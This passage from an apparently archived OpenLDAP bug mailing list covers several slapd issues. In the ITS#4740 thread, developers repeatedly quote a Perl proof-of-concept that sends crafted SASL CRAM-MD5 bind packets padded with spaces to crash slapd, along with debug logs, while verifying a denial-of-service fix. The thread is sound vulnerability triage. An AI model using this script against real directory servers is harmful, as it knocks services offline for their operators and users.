request...\n"; >>> >>> print $sock $s; >>> close $sock; >>> >>> print "Done\n"; >>> >>>-- >>> -- Howard Chu >>> Chief Architect, Symas Corp. http://www.symas.com >>> Director, Highland Sun http://highlandsun.com/hyc >>> OpenLDAP Core Team http://www.openldap.org/project/

1 0

Re: (ITS#4740) SASL bind assert
by Kurt＠OpenLDAP.org 27 Nov '06

27 Nov '06

Spoke too soon. You code appears to be sending the same requests as Nessus, at least as described here: http://www.nessus.org/plugins/index.php?view=viewsrc&id=23625 Suspect a mismatch between what you and Brian are testing... Kurt At 07:30 PM 11/27/2006, Kurt(a)OpenLDAP.org wrote: > From the provided log, looks like it's a SASL/CRAM-MD5 >authentication with lots of spaces in the authcid. > >Logs: >>>>> dnPrettyNormal: <> >><<< dnPrettyNormal: <>, <> >>do_sasl_bind: dn () mech CRAM-MD5 > >empty bind DN > >>==> sasl_bind: dn="" mech=<continuing> datalen=1024 >>SASL Canonicalize [conn=21]: >>authcid=" >>" > >authcid of spaces. > >>slap_sasl_getdn: conn 21 >>id= >>[len=255] > >255 spaces. > >>=> ldap_dn2bv(16) >><= >>ldap_dn2bv(uid=\20 >>\20,cn=CRAM-MD5,cn=auth)=0 >>slap_sasl_getdn: u:id converted to >>uid=\20 >>\20,cn=CRAM-MD5,cn=auth > >OKAY. > >>>>> dnNormalize: >><uid=\20 >>\20,cn=CRAM-MD5,cn=auth> >>=> >>ldap_bv2dn(uid=\20 >>\20,cn=CRAM-MD5,cn=auth,0) >><= >>ldap_bv2dn(uid=\20 >>\20,cn=CRAM-MD5,cn=auth)=0 >>=> ldap_dn2bv(272) >><= ldap_dn2bv(uid=\20,cn=cram-md5,cn=auth)=0 > >BAD! We lost 254 spaces (last of which was escaped). > >><<< dnNormalize: <uid=\20,cn=cram-md5,cn=auth> >>==>slap_sasl2dn: converting SASL name uid=\20,cn=cram-md5,cn=auth to a DN >>slap_authz_regexp: converting SASL name uid=\20,cn=cram-md5,cn=auth >><==slap_sasl2dn: Converted SASL name to <nothing> >>SASL Canonicalize [conn=21]: slapAuthcDN="uid=\20,cn=cram-md5,cn=auth" >> > >At 07:13 PM 11/27/2006, hyc(a)symas.com wrote: >>bthomas(a)google.com wrote: >>> ------=_Part_8120_20176863.1164676496288 >>> Content-Type: text/plain; charset=ISO-8859-1; format=flowed >>> Content-Transfer-Encoding: 7bit >>> Content-Disposition: inline >>> >>> Hello, >>> >>> It would appear from my testing that this bug is not fixed. I have compiled >>> and installed 2.3.30 and verified that my version of getdn.c (1.124.2.5) has >>> the fixes that were introduced in 1.134. However, a nessus scan that >>> attempts to exploit this bug still succeeds in crashing slapd, with debug >>> output attached below (I've snipped the actual data passsed in, suffice to >>> say it's 255 0x20's). >>> >>> I'm happy to provide any other information as needed. I've taken a look at >>> the diffs but haven't been able to find what the problem is. >> >>This is the perl script I used to verify the bug here. slapd works fine >>for me with this. If you can tell us how to reproduce the crash, we can >>investigate further. >> >>use IO::Socket; >> >> my $host = "localhost"; >> my $port = 9011; >> >> my $sock = IO::Socket::INET->new( >> Proto => "tcp", >> PeerAddr => $host, >> PeerPort => $port, ) >> or die "Error creating socket"; >> >> print "Sending LDAP BIND request...\n"; >> >> my >>$s="\x30\x17\x02\x02\x04\xe7\x60\x11\x02\x01\x03\x04\x00\xa3\x0a\x04"; >> $s .= "\x08\x43\x52\x41\x4d\x2d\x4d\x44\x35"; >> print $sock $s; >> >> my $buf = ' '; >> read( $sock, $buf, 24 ); >> >> $s = >>"\x30\x82\x04\x1f\x02\x02\x04\xe6\x60\x82\x04\x17\x02\x01\x03\x04"; >> $s .= >>"\x00\xa3\x82\x04\x0e\x04\x08\x43\x52\x41\x4d\x2d\x4d\x44\x35\x04"; >> $s .= "\x82\x04\x00"; >> $s .= "\x20" x 1024; >> >> print "Sending second LDAP BIND request...\n"; >> >> print $sock $s; >> close $sock; >> >> print "Done\n"; >> >>-- >> -- Howard Chu >> Chief Architect, Symas Corp. http://www.symas.com >> Director, Highland Sun http://highlandsun.com/hyc >> OpenLDAP Core Team http://www.openldap.org/project/

1 0

Re: (ITS#4740) SASL bind assert
by Kurt＠OpenLDAP.org 27 Nov '06

27 Nov '06

From the provided log, looks like it's a SASL/CRAM-MD5 authentication with lots of spaces in the authcid. Logs: >>>> dnPrettyNormal: <> ><<< dnPrettyNormal: <>, <> >do_sasl_bind: dn () mech CRAM-MD5 empty bind DN >==> sasl_bind: dn="" mech=<continuing> datalen=1024 >SASL Canonicalize [conn=21]: >authcid=" >" authcid of spaces. >slap_sasl_getdn: conn 21 >id= >[len=255] 255 spaces. >=> ldap_dn2bv(16) ><= >ldap_dn2bv(uid=\20 >\20,cn=CRAM-MD5,cn=auth)=0 >slap_sasl_getdn: u:id converted to >uid=\20 >\20,cn=CRAM-MD5,cn=auth OKAY. >>>> dnNormalize: ><uid=\20 >\20,cn=CRAM-MD5,cn=auth> >=> >ldap_bv2dn(uid=\20 >\20,cn=CRAM-MD5,cn=auth,0) ><= >ldap_bv2dn(uid=\20 >\20,cn=CRAM-MD5,cn=auth)=0 >=> ldap_dn2bv(272) ><= ldap_dn2bv(uid=\20,cn=cram-md5,cn=auth)=0 BAD! We lost 254 spaces (last of which was escaped). ><<< dnNormalize: <uid=\20,cn=cram-md5,cn=auth> >==>slap_sasl2dn: converting SASL name uid=\20,cn=cram-md5,cn=auth to a DN >slap_authz_regexp: converting SASL name uid=\20,cn=cram-md5,cn=auth ><==slap_sasl2dn: Converted SASL name to <nothing> >SASL Canonicalize [conn=21]: slapAuthcDN="uid=\20,cn=cram-md5,cn=auth" > At 07:13 PM 11/27/2006, hyc(a)symas.com wrote: >bthomas(a)google.com wrote: >> ------=_Part_8120_20176863.1164676496288 >> Content-Type: text/plain; charset=ISO-8859-1; format=flowed >> Content-Transfer-Encoding: 7bit >> Content-Disposition: inline >> >> Hello, >> >> It would appear from my testing that this bug is not fixed. I have compiled >> and installed 2.3.30 and verified that my version of getdn.c (1.124.2.5) has >> the fixes that were introduced in 1.134. However, a nessus scan that >> attempts to exploit this bug still succeeds in crashing slapd, with debug >> output attached below (I've snipped the actual data passsed in, suffice to >> say it's 255 0x20's). >> >> I'm happy to provide any other information as needed. I've taken a look at >> the diffs but haven't been able to find what the problem is. > >This is the perl script I used to verify the bug here. slapd works fine >for me with this. If you can tell us how to reproduce the crash, we can >investigate further. > >use IO::Socket; > > my $host = "localhost"; > my $port = 9011; > > my $sock = IO::Socket::INET->new( > Proto => "tcp", > PeerAddr => $host, > PeerPort => $port, ) > or die "Error creating socket"; > > print "Sending LDAP BIND request...\n"; > > my >$s="\x30\x17\x02\x02\x04\xe7\x60\x11\x02\x01\x03\x04\x00\xa3\x0a\x04"; > $s .= "\x08\x43\x52\x41\x4d\x2d\x4d\x44\x35"; > print $sock $s; > > my $buf = ' '; > read( $sock, $buf, 24 ); > > $s = >"\x30\x82\x04\x1f\x02\x02\x04\xe6\x60\x82\x04\x17\x02\x01\x03\x04"; > $s .= >"\x00\xa3\x82\x04\x0e\x04\x08\x43\x52\x41\x4d\x2d\x4d\x44\x35\x04"; > $s .= "\x82\x04\x00"; > $s .= "\x20" x 1024; > > print "Sending second LDAP BIND request...\n"; > > print $sock $s; > close $sock; > > print "Done\n"; > >-- > -- Howard Chu > Chief Architect, Symas Corp. http://www.symas.com > Director, Highland Sun http://highlandsun.com/hyc > OpenLDAP Core Team http://www.openldap.org/project/

1 0

Re: (ITS#4740) SASL bind assert
by hyc＠symas.com 27 Nov '06

27 Nov '06

bthomas(a)google.com wrote: > ------=_Part_8120_20176863.1164676496288 > Content-Type: text/plain; charset=ISO-8859-1; format=flowed > Content-Transfer-Encoding: 7bit > Content-Disposition: inline > > Hello, > > It would appear from my testing that this bug is not fixed. I have compiled > and installed 2.3.30 and verified that my version of getdn.c (1.124.2.5) has > the fixes that were introduced in 1.134. However, a nessus scan that > attempts to exploit this bug still succeeds in crashing slapd, with debug > output attached below (I've snipped the actual data passsed in, suffice to > say it's 255 0x20's). > > I'm happy to provide any other information as needed. I've taken a look at > the diffs but haven't been able to find what the problem is. This is the perl script I used to verify the bug here. slapd works fine for me with this. If you can tell us how to reproduce the crash, we can investigate further. use IO::Socket; my $host = "localhost"; my $port = 9011; my $sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => $host, PeerPort => $port, ) or die "Error creating socket"; print "Sending LDAP BIND request...\n"; my $s="\x30\x17\x02\x02\x04\xe7\x60\x11\x02\x01\x03\x04\x00\xa3\x0a\x04"; $s .= "\x08\x43\x52\x41\x4d\x2d\x4d\x44\x35"; print $sock $s; my $buf = ' '; read( $sock, $buf, 24 ); $s = "\x30\x82\x04\x1f\x02\x02\x04\xe6\x60\x82\x04\x17\x02\x01\x03\x04"; $s .= "\x00\xa3\x82\x04\x0e\x04\x08\x43\x52\x41\x4d\x2d\x4d\x44\x35\x04"; $s .= "\x82\x04\x00"; $s .= "\x20" x 1024; print "Sending second LDAP BIND request...\n"; print $sock $s; close $sock; print "Done\n"; -- -- Howard Chu Chief Architect, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc OpenLDAP Core Team http://www.openldap.org/project/

1 0

Re: (ITS#4740) SASL bind assert
by bthomas＠google.com 27 Nov '06

27 Nov '06

------=_Part_8120_20176863.1164676496288 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Hello, It would appear from my testing that this bug is not fixed. I have compiled and installed 2.3.30 and verified that my version of getdn.c (1.124.2.5) has the fixes that were introduced in 1.134. However, a nessus scan that attempts to exploit this bug still succeeds in crashing slapd, with debug output attached below (I've snipped the actual data passsed in, suffice to say it's 255 0x20's). I'm happy to provide any other information as needed. I've taken a look at the diffs but haven't been able to find what the problem is. Brian ber_scanf fmt (}}) ber: ber_dump: buf=0x09efba28 ptr=0x09efbe47 end=0x09efbe47 len=0 >>> dnPrettyNormal: <> <<< dnPrettyNormal: <>, <> do_sasl_bind: dn () mech CRAM-MD5 ==> sasl_bind: dn="" mech=<continuing> datalen=1024 SASL Canonicalize [conn=21]: authcid=" " slap_sasl_getdn: conn 21 id= [len=255] => ldap_dn2bv(16) <= ldap_dn2bv(uid=\20 \20,cn=CRAM-MD5,cn=auth)=0 slap_sasl_getdn: u:id converted to uid=\20 \20,cn=CRAM-MD5,cn=auth >>> dnNormalize: <uid=\20 \20,cn=CRAM-MD5,cn=auth> => ldap_bv2dn(uid=\20 \20,cn=CRAM-MD5,cn=auth,0) <= ldap_bv2dn(uid=\20 \20,cn=CRAM-MD5,cn=auth)=0 => ldap_dn2bv(272) <= ldap_dn2bv(uid=\20,cn=cram-md5,cn=auth)=0 <<< dnNormalize: <uid=\20,cn=cram-md5,cn=auth> ==>slap_sasl2dn: converting SASL name uid=\20,cn=cram-md5,cn=auth to a DN slap_authz_regexp: converting SASL name uid=\20,cn=cram-md5,cn=auth <==slap_sasl2dn: Converted SASL name to <nothing> SASL Canonicalize [conn=21]: slapAuthcDN="uid=\20,cn=cram-md5,cn=auth" ------=_Part_8120_20176863.1164676496288 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline Hello, It would appear from my testing that this bug is not fixed. I= have compiled and installed 2.3.30 and verified that my version of getdn.c= (<a href=3D"http://1.124.2.5">1.124.2.5</a>) has the fixes that were intro= duced in=20 1.134. However, a nessus scan that attempts to exploit this bug still succe= eds in crashing slapd, with debug output attached below (I've snipped the a= ctual data passsed in, suffice to say it's 255 0x20's). I'm happy t= o provide any other information as needed. I've taken a look at the diffs b= ut haven't been able to find what the problem is. Brian ber_scanf fmt (}}) ber: ber_dump: buf=3D0x09efba28 = ptr=3D0x09efbe47 end=3D0x09efbe47 len=3D0 >>> dnPrettyNorma= l: <> <<< dnPrettyNormal: <>, <> do_sasl_b= ind: dn () mech CRAM-MD5 =3D=3D> sasl_bind: dn=3D"" mech=3D<continuing> datal= en=3D1024 SASL Canonicalize [conn=3D21]: authcid=3D"  &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =         " slap_sasl_getdn: conn 21 id=3D      &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;    [len=3D255] =3D> ldap_dn2bv(16) <=3D ldap_dn2bv(uid=3D\20  &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;            \20,= cn=3DCRAM-MD5,cn=3Dauth)=3D0 slap_sasl_getdn: u:id converted to uid=3D\20    &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =            \20,cn=3DCRAM-= MD5,cn=3Dauth >>> dnNormalize: <uid=3D\20     &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;          \20,cn=3DCRAM-MD5,c= n=3Dauth> =3D> ldap_bv2dn(uid=3D\20       &= nbsp;           &nbs= p;            &= nbsp;           &nbs= p;            &= nbsp;           &nbs= p;            &= nbsp;           &nbs= p;            &= nbsp;           &nbs= p;            &= nbsp;           &nbs= p;            &= nbsp;           &nbs= p;            &= nbsp;           &nbs= p;            &= nbsp;           &nbs= p;            &= nbsp;           &nbs= p;        \20,cn=3DCRAM-MD5,cn=3Dauth,0) <=3D ldap_bv2dn(uid=3D\20       &= nbsp;           &nbs= p;            &= nbsp;           &nbs= p;            &= nbsp;           &nbs= p;            &= nbsp;           &nbs= p;            &= nbsp;           &nbs= p;            &= nbsp;           &nbs= p;            &= nbsp;           &nbs= p;            &= nbsp;           &nbs= p;            &= nbsp;           &nbs= p;            &= nbsp;           &nbs= p;        \20,cn=3DCRAM-MD5,cn=3Dauth)= =3D0 =3D> ldap_dn2bv(272) <=3D ldap_dn2bv(uid=3D\20,cn=3Dcram-md5,c= n=3Dauth)=3D0 <<< dnNormalize: <uid=3D\20,cn=3Dcram-md5,cn= =3Dauth> =3D=3D>slap_sasl2dn: converting SASL name uid=3D\20,cn=3D= cram-md5,cn=3Dauth to a DN slap_authz_regexp: converting SASL name uid=3D\20,cn=3Dcram-md5,cn=3Dau= th <=3D=3Dslap_sasl2dn: Converted SASL name to <nothing> SAS= L Canonicalize [conn=3D21]: slapAuthcDN=3D"uid=3D\20,cn=3Dcram-md5,cn= =3Dauth" ------=_Part_8120_20176863.1164676496288--

1 0

Re: (ITS#4675) slapd bus error when searching in a subtree
by hyc＠symas.com 27 Nov '06

27 Nov '06

ghen(a)telenet.be wrote: > On Fri, Nov 17, 2006 at 12:19:58PM -0800, Quanah Gibson-Mount wrote: >> --On Wednesday, November 15, 2006 3:53 PM +0000 ghen(a)telenet.be wrote: >>> Why was tick ticket closed? The problem still exists. >> Did you read the notes in the ITS system? > > I did. It says "NetBSD-specific, raise stacksize ulimit". I hope you > don't count such a work-around as a fix... The fact that altering your ulimit changes the behavior indicates that your OS's pthread implementation is broken. We cannot fix that. We use the documented, portable pthread API to specify the stack size that we need for each thread, and it seems your platform will not honor our request without you raising your ulimit. The stacksize ulimit should only affect non-threaded processes, or the main thread in a threaded process. It should not affect any threads created by the application, especially when we set an explicit size at thread creation time. So you have to set an explicit ulimit before starting slapd. This is no different from having to set the nfiles limit on some platforms to raise the number of available file descriptors. That's an administration detail, not a software bug. -- -- Howard Chu Chief Architect, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc OpenLDAP Core Team http://www.openldap.org/project/

1 0

Re: (ITS#4675) slapd bus error when searching in a subtree
by ghen＠telenet.be 27 Nov '06

27 Nov '06

On Fri, Nov 17, 2006 at 12:19:58PM -0800, Quanah Gibson-Mount wrote: > --On Wednesday, November 15, 2006 3:53 PM +0000 ghen(a)telenet.be wrote: > >Why was tick ticket closed? The problem still exists. > > Did you read the notes in the ITS system? I did. It says "NetBSD-specific, raise stacksize ulimit". I hope you don't count such a work-around as a fix... Geert

1 0

(ITS#4763) slapd crashed with ldapsearch command without arguments
by saint.cn＠gmail.com 27 Nov '06

27 Nov '06

Full_Name: Jack Chen Version: 2.3.27 OS: Redhat AS 3.0 2.4.21-40.ELsmp URL: ftp://ftp.openldap.org/incoming/ Submission from: (NULL) (60.12.9.18) I found when I run ldap commands without arguments always get password imput requirement before result. But the command always told me "ldap_sasl_interactive_bind_s: Can't contact LDAP server". Then I found the slapd crashed. Then I start slpad with command like "slpad -d 256" with root account and want to get debug information before slpad crash. Then following is the startup information: ===================================================================== @(#) $OpenLDAP: slapd 2.3.27 (Sep 30 2006 16:10:17) $ root@caivs:/home/jack/tools/openldap-2.3.27/servers/slapd daemon: IPv6 socket() failed errno=97 (Address family not supported by protocol) bdb_db_open: unclean shutdown detected; attempting recovery. bdb_db_open: Warning - No DB_CONFIG file found in directory /usr/local/openldap/var/openldap-data: (2) Expect poor performance for suffix dc=test,dc=com. slapd starting ===================================================================== And when I input command "ldapsearch" in shell with root account, and input password with any words and return. The command tell me like following: ===================================================================== /usr/local/BerkeleyDB.4.5/bin:$ldapsearch SASL/DIGEST-MD5 authentication started Please enter your password: ldap_sasl_interactive_bind_s: Can't contact LDAP server ===================================================================== And I check the console which is running slapd, and get following information: ===================================================================== conn=0 fd=10 ACCEPT from IP=127.0.0.1:33518 (IP=0.0.0.0:389) conn=0 op=0 SRCH base="" scope=0 deref=0 filter="(objectClass=*)" conn=0 op=0 SRCH attr=supportedSASLMechanisms conn=0 op=0 SEARCH RESULT tag=101 err=0 nentries=1 text= conn=0 op=1 BIND dn="" method=163 conn=0 op=1 RESULT tag=97 err=14 text= conn=0 op=2 BIND dn="" method=163 /etc/sasldb2: Successful return: 0 segment fault (core dumped) ===================================================================== Because I'v set "ulimit -c 10000000", so get a coredump file additionally with no debug info inside.

1 0

Re: (ITS#4756) IPv6 Addresses are not supported in ACL peername
by hyc＠symas.com 25 Nov '06

25 Nov '06

ando(a)sys-net.it wrote: > Damon.Groenveld(a)ca.com wrote: >> Given that the code (in aclparse.c) calls inet_addr() with the >> peername.ip parameter, I can't see how it could will work with IPv6. >> >> The only possible workaround is using a regex instead of ip type which >> by passes the inet_addr() call. >> >> I raised it as a bug since the latest version (as far as I can tell) is >> meant to support IPv6 and there is no way that peername.ip does and >> there isn't an alternative. >> > The peername.ip was designed with IPv4 in mind. A patch to support IPv6 > in ACLs would be welcome, though. In the meanwhile, I believe a regex > style would be the solution, but note that I have no idea of how IPv6 > would be stringified in the peername. Note that the whole issue is of > questionable relevance, since IP-based access checking is not considered > trustable. Yes, peername.regex works fine. Currently IPv6 peernames are reported as colon-separated hex octets followed by a space, then the port number: "xxxx:....:zzzz ppppp". It strikes me that we should be using URL format instead, which uses square brackets: "[xxxx:....:zzzz]:ppppp". -- -- Howard Chu Chief Architect, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc OpenLDAP Core Team http://www.openldap.org/project/

1 0

Re: (ITS#4756) IPv6 Addresses are not supported in ACL peername
by ando＠sys-net.it 25 Nov '06

25 Nov '06

Damon.Groenveld(a)ca.com wrote: > Given that the code (in aclparse.c) calls inet_addr() with the > peername.ip parameter, I can't see how it could will work with IPv6. > > The only possible workaround is using a regex instead of ip type which > by passes the inet_addr() call. > > I raised it as a bug since the latest version (as far as I can tell) is > meant to support IPv6 and there is no way that peername.ip does and > there isn't an alternative. > The peername.ip was designed with IPv4 in mind. A patch to support IPv6 in ACLs would be welcome, though. In the meanwhile, I believe a regex style would be the solution, but note that I have no idea of how IPv6 would be stringified in the peername. Note that the whole issue is of questionable relevance, since IP-based access checking is not considered trustable. > I asked the question regarding other ways to restrict access since I > noted that the documentation mentions TCP Wrappers and has a see also of > host_options(5) -- which does not exist, Apparently that should be hosts_options(5): $ apropos hosts_options hosts_options (5) - host access control language extensions Can you point me to the incorrect documentation? > so I was hoping that some > advice might come while someone looked at the problem (if or when it was > deemed important enough). > p. Ing. Pierangelo Masarati OpenLDAP Core Team SysNet s.n.c. Via Dossi, 8 - 27100 Pavia - ITALIA http://www.sys-net.it ------------------------------------------ Office: +39.02.23998309 Mobile: +39.333.4963172 Email: pierangelo.masarati(a)sys-net.it ------------------------------------------

1 0

Re: (ITS#4758) valsort + dynlist can cause 100% cpu utilization causing slapd to become unresponsive
by ando＠sys-net.it 25 Nov '06

25 Nov '06

michael.heep(a)o2.com wrote: > the following valsort + dynlist combination causes slapd to utilize 100% cpu > time when issueing searches against parts of the DIT containing attribute-value > pairs "created" by dynlist: > > overlay dynlist > dynlist-attrset extensibleObject memberURL uniqueMember > > overlay valsort > valsort-attr uniqueMember dc=o2online,dc=de alpha-ascend > > When run independent both overlays work flawlessly. > To be honest, I don't quite see the point in keeping sorted a set of values that by definition is dynamically built. There seems to be contradiction between the two overlays that prevents them from being used together anyway. If your intention is to partition a tree so that the intersection of data subjected to valsort and data subjected to dynlist is empty, then I guess the solution is to use the <attri> and <baseDN> parameters of valsort to exclude those entries that are subjected to dynlist. If this is not enough, you could ask for an enhancement that turns the <attr> <baseDN> into a more general specification that allows increased granularity; for example, an attr and a filter, which incidentally could be specified by means of an URL so that base, attribute list, scope and filter can be present. p. Ing. Pierangelo Masarati OpenLDAP Core Team SysNet s.n.c. Via Dossi, 8 - 27100 Pavia - ITALIA http://www.sys-net.it ------------------------------------------ Office: +39.02.23998309 Mobile: +39.333.4963172 Email: pierangelo.masarati(a)sys-net.it ------------------------------------------

1 0

Re: (ITS#4762) Bugs in meta backend
by Kurt＠OpenLDAP.org 24 Nov '06

24 Nov '06

As there is no major security issue here, this report is now public. At 03:01 AM 11/24/2006, jerome.thevenet(a)aviation-civile.gouv.fr wrote: >Full_Name: >Version: 2.3.27 >OS: ubuntu >URL: ftp://ftp.openldap.org/incoming/ >Submission from: (NULL) (213.41.243.192) > > >In Database meta: >When we define several servers (uri: ldap//....), >onerr CONTINUE > >If all servers are ok, the research is ok. >But if one of them is off, the result of a research is error 52 even if the >others send good result. > >Thanks

1 0

RE: (ITS#4760) problem with group caching and proxyAuth control
by richter＠ecos.de 24 Nov '06

24 Nov '06

> > Fixed (differently) in HEAD/re23; please test. Thanks for > reporting. p. > Just looked at your changes, of course it makes sense to put this in a common function. I will test over the weekend Gerald > > > Ing. Pierangelo Masarati > OpenLDAP Core Team > > SysNet s.n.c. > Via Dossi, 8 - 27100 Pavia - ITALIA > http://www.sys-net.it > ------------------------------------------ > Office: +39.02.23998309 > Mobile: +39.333.4963172 > Email: pierangelo.masarati(a)sys-net.it > ------------------------------------------ > > > > ** Virus checked by BB-5000 Mailfilter ** > !DSPAM:4566ce0e132554386119908! > ** Virus checked by BB-5000 Mailfilter **

1 0

Re: (ITS#4760) problem with group caching and proxyAuth control
by ando＠sys-net.it 24 Nov '06

24 Nov '06

richter(a)ecos.de wrote: Fixed (differently) in HEAD/re23; please test. Thanks for reporting. p. Ing. Pierangelo Masarati OpenLDAP Core Team SysNet s.n.c. Via Dossi, 8 - 27100 Pavia - ITALIA http://www.sys-net.it ------------------------------------------ Office: +39.02.23998309 Mobile: +39.333.4963172 Email: pierangelo.masarati(a)sys-net.it ------------------------------------------

1 0

(ITS#4761) error in "group" authorization parsing
by ando＠sys-net.it 24 Nov '06

24 Nov '06

Full_Name: Pierangelo Masarati Version: HEAD,re23 OS: irrelevant URL: ftp://ftp.openldap.org/incoming/ Submission from: (NULL) (87.28.220.33) Submitted by: ando When an authorization rule using groups, like "group:<dn>" is used, the default member attribute "member" is erroneously set to an empy berval, resulting in an invalid filter being used for the internal lookup to check for membership. A workaround consists in avoiding defaults: "group/<oc>/<at>:<dn>". "group/<oc>:<dn>" appears to work as intended, i.e. in this case the default attribute is correctly used. A fix is coming. p.

1 0

Re: (ITS#4760) problem with group caching and proxyAuth control
by ando＠sys-net.it 24 Nov '06

24 Nov '06

Gerald Richter wrote: >> I'm not sure I understand the issue you describe. In fact, >> groups appear to be cached on a per-operation basis, and user >> membership is evaluated using the authorized identity (B in >> your case), so the behavior should be correct. I've made a >> simple check using re23 and things appear to work as >> expected: I log in as a user (A) that is not in a group and >> authorize as a user (B) that is in that group. I previously >> configured slapd so that only members of that group are >> allowed to read an attribute in the whole db (say "cn"). >> Things work as expected: if I login as user A I can't see >> "cn", but if I either log in as user B, or login as user A >> and proxyAuthz as B I can read the "cn". Can you provide a >> simple example (slapd.conf, db.ldif and sequence of >> operations, e.g. in a shell script) that causes the issue you see? >> >> > > I think the point is that the group must be evaluated already in the search > for the AuthzTo attribute. > > So my User A has the AuthzTo attribute set to User B and I have the > following access control: > > > access to * > by group/accessCTRL/uniqueMember="cn=Admins,dc=testuml,dc=test" > write > by * break > > ... > > > access to * attrs=authzTo > by self read > by * break > > ... > > User A is not member of cn=Admins,dc=testuml,dc=test, but user B is. So when > I log in as user A and proxyAuth to Openldap will evaluate the group > membership for A and cache it, during the search for the ACL to authzTo. A > is not member. > > Now when the actual search operation takes places, openldap will used the > cached result (which was "is not member"), which is wrong because the user > has changed since the group membership was cached. > > I hope this makes the problem more clear (I have a test environment here, > but it is very complex and easy transferable) > OK, I see. In my test ACLs for authzTo didn't make use of groups. It makes sense to clear out identity related cached stuff when the identity changes. What I'm looking for is a __simple__ test that exploits the feature. This would allow to clearly spot the issue in the first place, and prepare a regression test. I'll do some more testing. p. Ing. Pierangelo Masarati OpenLDAP Core Team SysNet s.n.c. Via Dossi, 8 - 27100 Pavia - ITALIA http://www.sys-net.it ------------------------------------------ Office: +39.02.23998309 Mobile: +39.333.4963172 Email: pierangelo.masarati(a)sys-net.it ------------------------------------------

1 0

RE: (ITS#4760) problem with group caching and proxyAuth control
by richter＠ecos.de 23 Nov '06

23 Nov '06

> I'm not sure I understand the issue you describe. In fact, > groups appear to be cached on a per-operation basis, and user > membership is evaluated using the authorized identity (B in > your case), so the behavior should be correct. I've made a > simple check using re23 and things appear to work as > expected: I log in as a user (A) that is not in a group and > authorize as a user (B) that is in that group. I previously > configured slapd so that only members of that group are > allowed to read an attribute in the whole db (say "cn"). > Things work as expected: if I login as user A I can't see > "cn", but if I either log in as user B, or login as user A > and proxyAuthz as B I can read the "cn". Can you provide a > simple example (slapd.conf, db.ldif and sequence of > operations, e.g. in a shell script) that causes the issue you see? > I think the point is that the group must be evaluated already in the search for the AuthzTo attribute. So my User A has the AuthzTo attribute set to User B and I have the following access control: access to * by group/accessCTRL/uniqueMember="cn=Admins,dc=testuml,dc=test" write by * break ... access to * attrs=authzTo by self read by * break ... User A is not member of cn=Admins,dc=testuml,dc=test, but user B is. So when I log in as user A and proxyAuth to Openldap will evaluate the group membership for A and cache it, during the search for the ACL to authzTo. A is not member. Now when the actual search operation takes places, openldap will used the cached result (which was "is not member"), which is wrong because the user has changed since the group membership was cached. I hope this makes the problem more clear (I have a test environment here, but it is very complex and easy transferable) Gerald ** Virus checked by BB-5000 Mailfilter **

1 0

RE: (ITS#4759) aci comptibilty to V2.1; multiple attrs
by richter＠ecos.de 23 Nov '06

23 Nov '06

